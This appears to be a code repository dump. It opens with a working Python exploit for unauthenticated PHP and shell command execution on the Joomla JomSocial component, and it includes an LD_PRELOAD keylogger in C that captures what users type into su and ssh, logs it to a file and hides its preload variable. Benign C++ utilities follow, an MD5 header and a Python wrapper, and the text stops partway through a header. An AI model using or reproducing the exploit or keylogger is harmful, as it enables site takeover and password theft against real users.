├── JomSocial-Exploit └── exploit.py ├── c++_stuff └── range.cpp ├── constexpr_hashes └── md5.h ├── keylogger ├── Makefile └── keylogger.c ├── pywrapper ├── pywrapper.cpp └── pywrapper.h ├── rootkit ├── Makefile └── rootkit.c ├── small_uint └── small_uint.h └── socks5 └── socks5.cpp /JomSocial-Exploit/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Joomla! JomSocial component >= 2.6 PHP code execution exploit 4 | # 5 | # Authors: 6 | # - Matias Fontanini 7 | # - Gaston Traberg 8 | # 9 | # This exploit allows the execution of PHP code without any prior 10 | # authentication on the Joomla! JomSocial component. 11 | # 12 | # Note that in order to be able to execute PHP code, both the "eval" 13 | # and "assert" functions must be enabled. It is also possible to execute 14 | # arbitrary PHP functions, without using them. Therefore, it is possible 15 | # to execute shell commands using "system", "passthru", etc, as long 16 | # as they are enabled. 17 | # 18 | # Examples: 19 | # 20 | # Execute PHP code: 21 | # ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';" 22 | # ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php 23 | # 24 | # Execute shell commands(using system()): 25 | # ./exploit.py -u http://example.com/index.php -s "netstat -n" 26 | # 27 | # Exploit shell commands(using a user provided function, passthru in this case) 28 | # ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru 29 | # 30 | # Exploit execution example: 31 | # $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");' 32 | # [i] Retrieving cookies and anti-CSRF token... Done 33 | # [+] Executing PHP code... 34 | # string(12) "Hello World!" 35 | 36 | import urllib, urllib2, re, argparse, sys, os, cookielib 37 | 38 | class Exploit: 39 | token_request_data = 'option=com_community&view=frontpage' 40 | exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]' 41 | json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}' 42 | 43 | def __init__(self, url, user_agent = None, use_eval = True): 44 | self.url = url 45 | self._set_user_agent(user_agent) 46 | self.use_eval = use_eval 47 | self.token_regex = re.compile('') 48 | self.cookie_jar = cookielib.CookieJar() 49 | self.token = self._retrieve_token() 50 | self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\">
(.*)
', re.DOTALL) 51 | self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL) 52 | 53 | def _set_user_agent(self, user_agent): 54 | self.user_agent = user_agent 55 | 56 | def _make_opener(self): 57 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie_jar)) 58 | opener.addheaders.append(('Referer', self.url)) 59 | if self.user_agent: 60 | opener.addheaders.append(('User-Agent', self.user_agent)) 61 | return opener 62 | 63 | def _retrieve_token(self): 64 | opener = self._make_opener() 65 | sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ') 66 | sys.stdout.flush() 67 | req = opener.open(self.url, Exploit.token_request_data) 68 | data = req.read() 69 | token = self.token_regex.findall(data) 70 | if len(token) < 1: 71 | print 'Failed' 72 | raise Exception("Could not retrieve anti-CSRF token") 73 | print 'Done' 74 | return token[0] 75 | 76 | def _do_call_function(self, function, parameter): 77 | parameter = parameter.replace('"', '\\"') 78 | json_data = Exploit.json_data.format(function, parameter) 79 | json_data = urllib2.quote(json_data) 80 | data = Exploit.exploit_request_data.format(self.token, json_data) 81 | opener = self._make_opener() 82 | req = opener.open(self.url, data) 83 | if function == 'assert': 84 | return req.read() 85 | elif function in ['system', 'passthru']: 86 | result = self.command_regex.findall(req.read()) 87 | if len(result) == 1: 88 | return result[0] 89 | else: 90 | return "[+] Error executing command." 91 | else: 92 | result = self.result_regex.findall(req.read()) 93 | if len(result) == 1: 94 | return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n') 95 | else: 96 | return "[+] Error executing command." 97 | 98 | def call_function(self, function, parameter): 99 | if self.use_eval: 100 | return self.eval("echo {0}('{1}')".format(function, parameter)) 101 | else: 102 | return self._do_call_function(function, parameter) 103 | 104 | def disabled_functions(self): 105 | return self.call_function("ini_get", "disable_functions") 106 | 107 | def test_injection(self): 108 | result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';") 109 | if 'HELLO - WORLD' in result: 110 | print "[+] Code injection using eval works" 111 | else: 112 | print "[+] Code injection doesn't work. Try executing shell commands." 113 | 114 | def eval(self, code): 115 | if code [-1] != ';': 116 | code = code + ';' 117 | return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', ''))) 118 | 119 | 120 | 121 | parser = argparse.ArgumentParser( 122 | description="JomSocial >= 2.6 - Code execution exploit" 123 | ) 124 | parser.add_argument('-u', '--url', help='the base URL', required=True) 125 | parser.add_argument( 126 | '-p', 127 | '--php-code', 128 | help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from') 129 | parser.add_argument('-s', '--shell-command', help='the shell command to execute') 130 | parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system") 131 | parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False) 132 | parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True) 133 | 134 | args = parser.parse_args() 135 | if not args.test and not args.php_code and not args.shell_command: 136 | print '[-] Need -p, -t or -s to do something...' 137 | exit(1) 138 | url = args.url 139 | try: 140 | if not url.startswith('http://') and not url.startswith('https://'): 141 | url = 'http://' + url 142 | exploit = Exploit(url, use_eval=args.no_eval) 143 | if args.test: 144 | exploit.test_injection() 145 | elif args.php_code: 146 | code = args.php_code 147 | if args.php_code == '-': 148 | print '[i] Enter the code to be executed:' 149 | code = sys.stdin.read() 150 | elif os.path.isfile(code): 151 | try: 152 | fd = open(code) 153 | code = fd.read() 154 | fd.close() 155 | except Exception: 156 | print "[-] Error reading the file." 157 | exit(1) 158 | print '[+] Executing PHP code...' 159 | print exploit.eval(code) 160 | elif args.shell_command: 161 | print exploit.call_function(args.shell_function, args.shell_command) 162 | except Exception as ex: 163 | print '[+] Error: ' + str(ex) 164 | -------------------------------------------------------------------------------- /c++_stuff/range.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | template 5 | class range_iterator : public std::iterator{ 6 | public: 7 | range_iterator(const T &item) : item(item) {} 8 | 9 | // Dereference, returns the current item. 10 | const T &operator*() { 11 | return item; 12 | } 13 | 14 | // Prefix. 15 | range_iterator &operator++() { 16 | ++item; 17 | return *this; 18 | } 19 | 20 | // Postfix. 21 | range_iterator &operator++(int) { 22 | range_iterator range_copy(*this); 23 | ++item; 24 | return range_copy; 25 | } 26 | 27 | // Compare internal item 28 | bool operator==(const range_iterator &rhs) { 29 | return item == rhs.item; 30 | } 31 | 32 | // Same as above 33 | bool operator!=(const range_iterator &rhs) { 34 | return !(*this == rhs); 35 | } 36 | private: 37 | T item; 38 | }; 39 | 40 | template 41 | class range_wrapper { 42 | public: 43 | range_wrapper(const T &r_start, const T &r_end) 44 | : r_start(r_start), r_end(r_end) {} 45 | 46 | range_iterator begin() { 47 | return {r_start}; 48 | } 49 | 50 | range_iterator end() { 51 | return {r_end}; 52 | } 53 | private: 54 | T r_start, r_end; 55 | }; 56 | 57 | // Returns a range_wrapper containing the range [start, end) 58 | template 59 | range_wrapper range(const T &start, const T &end) { 60 | return {start, end}; 61 | } 62 | 63 | // Returns a range_wrapper containing the range [T(), end) 64 | template 65 | range_wrapper range(const T &end) { 66 | return {T(), end}; 67 | } 68 | 69 | int main() { 70 | // Range from [5, 15) 71 | for(const auto &item : range(5, 15)) 72 | std::cout << item << ' '; 73 | std::cout << std::endl; 74 | 75 | // Range from [0, 10) 76 | for(const auto &item : range(10)) 77 | std::cout << item << ' '; 78 | std::cout << std::endl; 79 | } 80 | -------------------------------------------------------------------------------- /constexpr_hashes/md5.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This program is free software; you can redistribute it and/or modify 3 | * it under the terms of the GNU General Public License as published by 4 | * the Free Software Foundation; either version 2 of the License, or 5 | * (at your option) any later version. 6 | * 7 | * This program is distributed in the hope that it will be useful, 8 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | * GNU General Public License for more details. 11 | * 12 | * You should have received a copy of the GNU General Public License 13 | * along with this program; if not, write to the Free Software 14 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | * MA 02110-1301, USA. 16 | * 17 | * Author: Matias Fontanini 18 | */ 19 | 20 | #ifndef CONSTEXPR_HASH_MD5_H 21 | #define CONSTEXPR_HASH_MD5_H 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | 28 | namespace ConstexprHashes { 29 | // MD5 operations 30 | constexpr uint32_t f(uint32_t x, uint32_t y, uint32_t z) { 31 | return z ^ (x & (y ^ z)); 32 | } 33 | 34 | constexpr uint32_t g(uint32_t x, uint32_t y, uint32_t z) { 35 | return y ^ (z & (x ^ y)); 36 | } 37 | 38 | constexpr uint32_t h(uint32_t x, uint32_t y, uint32_t z) { 39 | return x ^ y ^ z; 40 | } 41 | 42 | constexpr uint32_t i(uint32_t x, uint32_t y, uint32_t z) { 43 | return y ^ (x | ~z); 44 | } 45 | 46 | constexpr uint32_t step_helper(uint32_t fun_val, uint32_t s, uint32_t b) { 47 | return ((fun_val << s) | ((fun_val & 0xffffffff) >> (32 - s))) + b; 48 | } 49 | 50 | // Generic application of the "fun" function 51 | 52 | template 53 | constexpr uint32_t step(Functor fun, uint32_t a, uint32_t b, uint32_t c, uint32_t d, uint32_t x, uint32_t t, uint32_t s) { 54 | return step_helper(a + fun(b, c, d) + x + t, s, b); 55 | } 56 | 57 | // Retrieve the nth uint32_t in the buffer 58 | 59 | constexpr uint32_t data32(const char* data, size_t n) { 60 | return (static_cast(data[n * 4]) & 0xff) | 61 | ((static_cast(data[n * 4 + 1]) << 8) & 0xff00) | 62 | ((static_cast(data[n * 4 + 2]) << 16) & 0xff0000) | 63 | ((static_cast(data[n * 4 + 3]) << 24) & 0xff000000); 64 | } 65 | 66 | // Constants 67 | 68 | constexpr std::array md5_constants = {{ 69 | 0xd76aa478,0xe8c7b756,0x242070db,0xc1bdceee,0xf57c0faf,0x4787c62a, 70 | 0xa8304613,0xfd469501,0x698098d8,0x8b44f7af,0xffff5bb1,0x895cd7be, 71 | 0x6b901122,0xfd987193,0xa679438e,0x49b40821,0xf61e2562,0xc040b340, 72 | 0x265e5a51,0xe9b6c7aa,0xd62f105d,0x02441453,0xd8a1e681,0xe7d3fbc8, 73 | 0x21e1cde6,0xc33707d6,0xf4d50d87,0x455a14ed,0xa9e3e905,0xfcefa3f8, 74 | 0x676f02d9,0x8d2a4c8a,0xfffa3942,0x8771f681,0x6d9d6122,0xfde5380c, 75 | 0xa4beea44,0x4bdecfa9,0xf6bb4b60,0xbebfbc70,0x289b7ec6,0xeaa127fa, 76 | 0xd4ef3085,0x04881d05,0xd9d4d039,0xe6db99e5,0x1fa27cf8,0xc4ac5665, 77 | 0xf4292244,0x432aff97,0xab9423a7,0xfc93a039,0x655b59c3,0x8f0ccc92, 78 | 0xffeff47d,0x85845dd1,0x6fa87e4f,0xfe2ce6e0,0xa3014314,0x4e0811a1, 79 | 0xf7537e82,0xbd3af235,0x2ad7d2bb,0xeb86d391 80 | }}; 81 | 82 | constexpr std::array md5_shift = {{ 83 | 7,12,17,22,7,12,17,22,7,12,17,22,7,12,17,22,5,9,14,20,5,9,14,20, 84 | 5,9,14,20,5,9,14,20,4,11,16,23,4,11,16,23,4,11,16,23,4,11,16,23, 85 | 6,10,15,21,6,10,15,21,6,10,15,21,6,10,15,21 86 | }}; 87 | 88 | constexpr std::array md5_indexes = {{ 89 | 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,1,6,11,0,5,10,15,4, 90 | 9,14,3,8,13,2,7,12,5,8,11,14,1,4,7,10,13,0,3,6,9,12,15,2, 91 | 0,7,14,5,12,3,10,1,8,15,6,13,4,11,2,9 92 | }}; 93 | 94 | // Functions applied 95 | 96 | constexpr std::array md5_functions = {{ 97 | f, g, h, i 98 | }}; 99 | 100 | /******************** Initial buffer generators ***********************/ 101 | 102 | // index_tuples to fill the initial buffer 103 | 104 | template 105 | struct index_tuple {}; 106 | 107 | template 108 | struct index_tuple { 109 | typedef typename index_tuple::type type; 110 | }; 111 | 112 | template 113 | struct index_tuple<0, indexes...> { 114 | typedef index_tuple type; 115 | }; 116 | 117 | template 118 | struct index_tuple_maker { 119 | typedef typename index_tuple::type type; 120 | }; 121 | 122 | /* This builds the buffer. 123 | * 124 | * For indexes < string length: output the ith character in the string. 125 | * For indexes > string length: output 0. 126 | * If index == string length: output 0x80 127 | * If index == 56: output string length << 3 128 | * 129 | */ 130 | 131 | template 132 | struct buffer_builder { 133 | static constexpr char make_value(const char *data) { 134 | return (i <= n) ? data[i] : 0; 135 | } 136 | }; 137 | 138 | template 139 | struct buffer_builder { 140 | static constexpr char make_value(const char *) { 141 | return 0x80; 142 | } 143 | }; 144 | 145 | template 146 | struct buffer_builder { 147 | static constexpr char make_value(const char *) { 148 | return n << 3; 149 | } 150 | }; 151 | 152 | /* 153 | * Simple array implementation, which allows constexpr access to its 154 | * elements. 155 | */ 156 | 157 | template 158 | struct constexpr_array { 159 | const T array[n]; 160 | 161 | constexpr const T *data() const { 162 | return array; 163 | } 164 | }; 165 | 166 | typedef constexpr_array buffer_type; 167 | 168 | template 169 | constexpr buffer_type make_buffer_helper(const char (&data)[n], index_tuple) { 170 | return buffer_type{{ buffer_builder::make_value(data)... }}; 171 | } 172 | 173 | // Creates the actual buffer 174 | 175 | template 176 | constexpr buffer_type make_buffer(const char (&data)[n]) { 177 | return make_buffer_helper(data, index_tuple<64>::type()); 178 | } 179 | 180 | 181 | 182 | /************************ MD5 impl ***************************/ 183 | 184 | typedef std::array md5_type; 185 | 186 | /* 187 | * There are 64 steps. The ith step has the same structure as the ith + 4 step. 188 | * That means that we can repeat the same structure, and pick the appropiate 189 | * constants and function to apply, depending on the step number. 190 | */ 191 | 192 | template 193 | struct md5_step; 194 | 195 | /* 196 | * Nasty, but works. Convert the MD5 result(which is 4 uint32_t), to 197 | * a std::array. 198 | */ 199 | 200 | 201 | constexpr md5_type make_md5_result(uint32_t a, uint32_t b, uint32_t c, uint32_t d) { 202 | typedef md5_type::value_type value_type; 203 | return md5_type{{ 204 | static_cast(a & 0xff), static_cast((a & 0xff00) >> 8), 205 | static_cast((a & 0xff0000) >> 16), static_cast((a & 0xff000000) >> 24), 206 | 207 | static_cast(b & 0xff), static_cast((b & 0xff00) >> 8), 208 | static_cast((b & 0xff0000) >> 16), static_cast((b & 0xff000000) >> 24), 209 | 210 | static_cast(c & 0xff), static_cast((c & 0xff00) >> 8), 211 | static_cast((c & 0xff0000) >> 16), static_cast((c & 0xff000000) >> 24), 212 | 213 | static_cast(d & 0xff), static_cast((d & 0xff00) >> 8), 214 | static_cast((d & 0xff0000) >> 16), static_cast((d & 0xff000000) >> 24), 215 | }}; 216 | } 217 | 218 | template<> 219 | struct md5_step<64, 0> { 220 | static constexpr md5_type do_step(const char *, uint32_t a, uint32_t b, uint32_t c, uint32_t d) { 221 | return make_md5_result(a + 0x67452301, b + 0xefcdab89, c + 0x98badcfe, d + 0x10325476); 222 | } 223 | }; 224 | 225 | template 226 | struct md5_step { 227 | static constexpr md5_type do_step(const char *data, uint32_t a, uint32_t b, uint32_t c, uint32_t d) { 228 | return md5_step::do_step(data, a, step(md5_functions[n / 16], b, c, d, a, data32(data, md5_indexes[n]), md5_constants[n], md5_shift[n]), c, d); 229 | } 230 | }; 231 | 232 | template 233 | struct md5_step { 234 | static constexpr md5_type do_step(const char *data, uint32_t a, uint32_t b, uint32_t c, uint32_t d) { 235 | return md5_step::do_step(data, a, b, step(md5_functions[n / 16], c, d, a, b, data32(data, md5_indexes[n]), md5_constants[n], md5_shift[n]), d); 236 | } 237 | }; 238 | 239 | template 240 | struct md5_step { 241 | static constexpr md5_type do_step(const char *data, uint32_t a, uint32_t b, uint32_t c, uint32_t d) { 242 | return md5_step::do_step(data, a, b, c, step(md5_functions[n / 16], d, a, b, c, data32(data, md5_indexes[n]), md5_constants[n], md5_shift[n])); 243 | } 244 | }; 245 | 246 | template 247 | struct md5_step { 248 | static constexpr md5_type do_step(const char *data, uint32_t a, uint32_t b, uint32_t c, uint32_t d) { 249 | return md5_step::do_step(data, step(md5_functions[n / 16], a, b, c, d, data32(data, md5_indexes[n]), md5_constants[n], md5_shift[n]), b, c, d); 250 | } 251 | }; 252 | 253 | template 254 | constexpr md5_type md5(const char (&data)[n]) { 255 | return md5_step<0, 0>::do_step(make_buffer(data).data(), 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476); 256 | } 257 | 258 | } // namespace ConstexprHashes 259 | #endif //CONSTEXPR_HASH_MD5_H 260 | -------------------------------------------------------------------------------- /keylogger/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-c -Wall -O3 -fPIC 3 | LDFLAGS=-ldl -Wl,-soname,keylogger.so -shared 4 | SOURCES=$(wildcard keylogger.c) 5 | 6 | OBJECTS=$(SOURCES:.c=.o) 7 | INCLUDE = 8 | EXECUTABLE=keylogger.so 9 | 10 | all: $(SOURCES) $(EXECUTABLE) 11 | 12 | compile: $(OBJECTS) 13 | 14 | recompile: clean all 15 | 16 | $(EXECUTABLE): $(OBJECTS) 17 | $(CC) $(OBJECTS) $(LDFLAGS) -o $@ 18 | 19 | .cpp.o: 20 | $(CC) $(CFLAGS) $(INCLUDE) $< -o $@ 21 | 22 | clean: 23 | rm $(OBJECTS) $(EXECUTABLE) 24 | -------------------------------------------------------------------------------- /keylogger/keylogger.c: -------------------------------------------------------------------------------- 1 | /* This program is free software; you can redistribute it and/or modify 2 | * it under the terms of the GNU General Public License as published by 3 | * the Free Software Foundation; either version 3 of the License, or 4 | * (at your option) any later version. 5 | * 6 | * This program is distributed in the hope that it will be useful, 7 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 8 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 9 | * GNU General Public License for more details. 10 | * 11 | * You should have received a copy of the GNU General Public License 12 | * along with this program; if not, write to the Free Software 13 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 14 | * MA 02110-1301, USA. 15 | * 16 | * Author: Matias Fontanini 17 | */ 18 | 19 | #define _XOPEN_SOURCE 600 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #define __USE_BSD 32 | #include 33 | 34 | /* Redefine OUTPUT_FILE to whatever path you want your log to be saved. */ 35 | #ifndef OUTPUT_FILE 36 | #define OUTPUT_FILE "/tmp/output" 37 | #endif 38 | #define RTLD_NEXT ((void *) -1l) 39 | 40 | typedef int (*execve_fun)(const char *filename, char *const argv[], char *const envp[]); 41 | void __attribute__ ((constructor)) init(void); 42 | 43 | extern char **environ; 44 | /* The real execve pointer. */ 45 | execve_fun execve_ptr = 0; 46 | /* Our file descriptor. */ 47 | int file = -1; 48 | /* The read buffer. */ 49 | char buffer[256]; 50 | /* Array containing the files we want to monitor(ended with a null pointer). */ 51 | char *injected_files[] = { "/bin/su", "/usr/bin/ssh", 0 }; 52 | 53 | int do_read_write(int read_fd, int write_fd, int log) { 54 | int bread, i, start, dummy; 55 | do { 56 | /* Read a chunk of data from the provided descriptor. */ 57 | if((bread = read(read_fd, buffer, sizeof(buffer))) <= 0) 58 | return 0; 59 | /* Should we log this read? */ 60 | if(log && file != -1) { 61 | i = 0; 62 | start = 0; 63 | /* Loop through the data. If we find any \r character, 64 | * we will write it to out log file and also write a 65 | * \n afterwards. */ 66 | while(i < bread) { 67 | while(i < bread && buffer[i] != '\r') 68 | i++; 69 | if(i < bread) 70 | i++; 71 | dummy = write(file, buffer + start, i - start); 72 | if(i < bread || (start < bread && buffer[bread-1] == '\r')) 73 | dummy = write(file, "\n", 1); 74 | start = i; 75 | } 76 | } 77 | /* Finally, write it to write_fd. */ 78 | if(write(write_fd, buffer, bread) <= 0) 79 | return 0; 80 | /* Keep looping while "read" fills our buffer. */ 81 | } while(bread == sizeof(buffer)); 82 | return 1; 83 | } 84 | 85 | void do_select(int descriptor) { 86 | fd_set fds; 87 | while(1) { 88 | /* Initialize the fd_set and add stdin and the 89 | * master fd to it. */ 90 | FD_ZERO(&fds); 91 | FD_SET(0, &fds); 92 | FD_SET(descriptor, &fds); 93 | /* Wait for data... */ 94 | if(select(descriptor + 1, &fds, 0, 0, 0) == -1) 95 | return; 96 | /* If stdin has data, we will read from it and write 97 | * on the master fd. */ 98 | if(FD_ISSET(0, &fds)) { 99 | if(!do_read_write(0, descriptor, 1)) 100 | return; 101 | } 102 | /* If the master fd has data, we will read from it 103 | * and write it to stdout. */ 104 | if(FD_ISSET(descriptor, &fds)) { 105 | if(!do_read_write(descriptor, 1, 0)) 106 | return; 107 | } 108 | } 109 | } 110 | 111 | int execve(const char *filename, char *const argv[], char *const envp[]) { 112 | pid_t pid; 113 | struct winsize wsize; 114 | int master_fd, inject = 0; 115 | char **files_ptr; 116 | /* Lookup the real execve address. */ 117 | if(!execve_ptr) 118 | execve_ptr = (execve_fun)dlsym(RTLD_NEXT, "execve"); 119 | /* Check if filename is one of the files in which we have to 120 | * keylog. */ 121 | for(files_ptr = injected_files; *files_ptr; files_ptr++) { 122 | if(!strcmp(*files_ptr, filename)) 123 | inject = 1; 124 | } 125 | /* It's not one of the files, just normally call execve. */ 126 | if(!inject) 127 | return execve_ptr(filename, argv, envp); 128 | 129 | /* Get the TTY window size. */ 130 | ioctl(0, TIOCGWINSZ, &wsize); 131 | /* Open a pty master fd. */ 132 | if((master_fd = posix_openpt(O_RDWR | O_NOCTTY)) == -1) 133 | return -1; 134 | if(grantpt(master_fd) == -1 || unlockpt(master_fd) == -1) 135 | return -1; 136 | 137 | if ((pid = fork()) == -1) { 138 | return -1; 139 | } 140 | else if (pid == 0) { 141 | int slave_fd; 142 | /* We are the child process. Create a new session and open 143 | * the pty slave fd. */ 144 | setsid(); 145 | slave_fd = open(ptsname(master_fd), O_RDWR); 146 | /* We don't need master_fd anymore. */ 147 | close(master_fd); 148 | 149 | /* Make our tty a controlling tty. */ 150 | ioctl(slave_fd, TIOCSCTTY, 0); 151 | /* Set the master's window size. */ 152 | ioctl(slave_fd, TIOCSWINSZ, &wsize); 153 | /* Use the slave descriptor in stdin, stdout and stderr. */ 154 | if(dup2(slave_fd, 0) == -1 || dup2(slave_fd, 1) == -1 || dup2(slave_fd, 2) == -1) 155 | exit(1); 156 | /* We don't need slave_fd anymore. */ 157 | close(slave_fd); 158 | 159 | /* Now call the real execve. */ 160 | execve_ptr(filename, argv, envp); 161 | exit(0); 162 | } 163 | else { 164 | int status; 165 | struct termios original, settings; 166 | 167 | /* Get the terminal settings. */ 168 | tcgetattr(0, &original); 169 | 170 | settings = original; 171 | /* We don't want echoes in our master fd. */ 172 | cfmakeraw (&settings); 173 | tcsetattr (0, TCSANOW, &settings); 174 | 175 | /* Stop being a controlling tty. */ 176 | ioctl(master_fd, TIOCSCTTY); 177 | /* Open our log file. */ 178 | file = open(OUTPUT_FILE, O_WRONLY | O_APPEND | O_CREAT, 0644); 179 | /* Do reading and writing from the master descriptor. */ 180 | do_select(master_fd); 181 | /* Close descriptors. */ 182 | close(file); 183 | 184 | close(master_fd); 185 | /* Wait for the child process. */ 186 | waitpid(pid, &status, 0); 187 | /* Restore the original terminal settings. */ 188 | tcsetattr (0, TCSANOW, &original); 189 | exit(0); 190 | } 191 | } 192 | 193 | void init(void) { 194 | char **env = environ; 195 | while(*env) { 196 | if(strstr(*env, "LD_PRELOAD=") == *env) { 197 | break; 198 | } 199 | env++; 200 | } 201 | while(*env) { 202 | *env = *(env + 1); 203 | env++; 204 | } 205 | } 206 | -------------------------------------------------------------------------------- /pywrapper/pywrapper.cpp: -------------------------------------------------------------------------------- 1 | /* This program is free software; you can redistribute it and/or modify 2 | * it under the terms of the GNU General Public License as published by 3 | * the Free Software Foundation; either version 3 of the License, or 4 | * (at your option) any later version. 5 | * 6 | * This program is distributed in the hope that it will be useful, 7 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 8 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 9 | * GNU General Public License for more details. 10 | * 11 | * You should have received a copy of the GNU General Public License 12 | * along with this program; if not, write to the Free Software 13 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 14 | * MA 02110-1301, USA. 15 | * 16 | * Author: 17 | * Matias Fontanini 18 | * 19 | */ 20 | 21 | #include 22 | #include "pywrapper.h" 23 | 24 | using std::runtime_error; 25 | using std::string; 26 | 27 | namespace Python { 28 | Object::Object() { 29 | 30 | } 31 | 32 | Object::Object(PyObject *obj) : py_obj(make_pyshared(obj)) { 33 | 34 | } 35 | 36 | Python::Object::pyshared_ptr Object::make_pyshared(PyObject *obj) { 37 | return pyshared_ptr(obj, [](PyObject *obj) { Py_XDECREF(obj); }); 38 | } 39 | 40 | Object Object::from_script(const string &script_path) { 41 | char arr[] = "path"; 42 | PyObject *path(PySys_GetObject(arr)); 43 | string base_path("."), file_path; 44 | size_t last_slash(script_path.rfind("/")); 45 | if(last_slash != string::npos) { 46 | if(last_slash >= script_path.size() - 2) 47 | throw runtime_error("Invalid script path"); 48 | base_path = script_path.substr(0, last_slash); 49 | file_path = script_path.substr(last_slash + 1); 50 | } 51 | else 52 | file_path = script_path; 53 | if(file_path.rfind(".py") == file_path.size() - 3) 54 | file_path = file_path.substr(0, file_path.size() - 3); 55 | pyunique_ptr pwd(PyString_FromString(base_path.c_str())); 56 | 57 | PyList_Append(path, pwd.get()); 58 | /* We don't need that string value anymore, so deref it */ 59 | PyObject *py_ptr(PyImport_ImportModule(file_path.c_str())); 60 | if(!py_ptr) { 61 | print_error(); 62 | throw runtime_error("Failed to load script"); 63 | } 64 | return {py_ptr}; 65 | } 66 | 67 | PyObject *Object::load_function(const std::string &name) { 68 | PyObject *obj(PyObject_GetAttrString(py_obj.get(), name.c_str())); 69 | if(!obj) 70 | throw std::runtime_error("Failed to find function"); 71 | return obj; 72 | } 73 | 74 | Object Object::call_function(const std::string &name) { 75 | pyunique_ptr func(load_function(name)); 76 | PyObject *ret(PyObject_CallObject(func.get(), 0)); 77 | if(!ret) 78 | throw std::runtime_error("Failed to call function"); 79 | return {ret}; 80 | } 81 | 82 | Object Object::get_attr(const std::string &name) { 83 | PyObject *obj(PyObject_GetAttrString(py_obj.get(), name.c_str())); 84 | if(!obj) 85 | throw std::runtime_error("Unable to find attribute '" + name + '\''); 86 | return {obj}; 87 | } 88 | 89 | bool Object::has_attr(const std::string &name) { 90 | try { 91 | get_attr(name); 92 | return true; 93 | } catch(std::runtime_error&) { 94 | return false; 95 | } 96 | } 97 | 98 | void initialize() { 99 | Py_Initialize(); 100 | } 101 | 102 | void finalize() { 103 | Py_Finalize(); 104 | } 105 | 106 | void clear_error() { 107 | PyErr_Clear(); 108 | } 109 | 110 | void print_error() { 111 | PyErr_Print(); 112 | } 113 | 114 | void print_object(PyObject *obj) { 115 | PyObject_Print(obj, stdout, 0); 116 | } 117 | 118 | // Allocation methods 119 | 120 | PyObject *alloc_pyobject(const std::string &str) { 121 | return PyString_FromString(str.c_str()); 122 | } 123 | 124 | PyObject *alloc_pyobject(const std::vector &val, size_t sz) { 125 | return PyByteArray_FromStringAndSize(val.data(), sz); 126 | } 127 | 128 | PyObject *alloc_pyobject(const std::vector &val) { 129 | return alloc_pyobject(val, val.size()); 130 | } 131 | 132 | PyObject *alloc_pyobject(const char *cstr) { 133 | return PyString_FromString(cstr); 134 | } 135 | 136 | PyObject *alloc_pyobject(bool value) { 137 | return PyBool_FromLong(value); 138 | } 139 | 140 | PyObject *alloc_pyobject(double num) { 141 | return PyFloat_FromDouble(num); 142 | } 143 | 144 | bool is_py_int(PyObject *obj) { 145 | return PyInt_Check(obj); 146 | } 147 | 148 | bool is_py_float(PyObject *obj) { 149 | return PyFloat_Check(obj); 150 | } 151 | 152 | bool convert(PyObject *obj, std::string &val) { 153 | if(!PyString_Check(obj)) 154 | return false; 155 | val = PyString_AsString(obj); 156 | return true; 157 | } 158 | 159 | bool convert(PyObject *obj, std::vector &val) { 160 | if(!PyByteArray_Check(obj)) 161 | return false; 162 | if(val.size() < (size_t)PyByteArray_Size(obj)) 163 | val.resize(PyByteArray_Size(obj)); 164 | std::copy(PyByteArray_AsString(obj), 165 | PyByteArray_AsString(obj) + PyByteArray_Size(obj), 166 | val.begin()); 167 | return true; 168 | } 169 | 170 | /*bool convert(PyObject *obj, Py_ssize_t &val) { 171 | return generic_convert(obj, is_py_int, PyInt_AsSsize_t, val); 172 | }*/ 173 | bool convert(PyObject *obj, bool &value) { 174 | if(obj == Py_False) 175 | value = false; 176 | else if(obj == Py_True) 177 | value = true; 178 | else 179 | return false; 180 | return true; 181 | } 182 | 183 | bool convert(PyObject *obj, double &val) { 184 | return generic_convert(obj, is_py_float, PyFloat_AsDouble, val); 185 | } 186 | 187 | /*bool convert(PyObject *obj, size_t &val) { 188 | return generic_convert(obj, is_py_int, PyInt_AsLong, val); 189 | }*/ 190 | 191 | 192 | } 193 | -------------------------------------------------------------------------------- /pywrapper/pywrapper.h: -------------------------------------------------------------------------------- 1 | /* This program is free software; you can redistribute it and/or modify 2 | * it under the terms of the GNU General Public License as published by 3 | * the Free Software Foundation; either version 3 of the License, or 4 | * (at your option) any later version. 5 | * 6 | 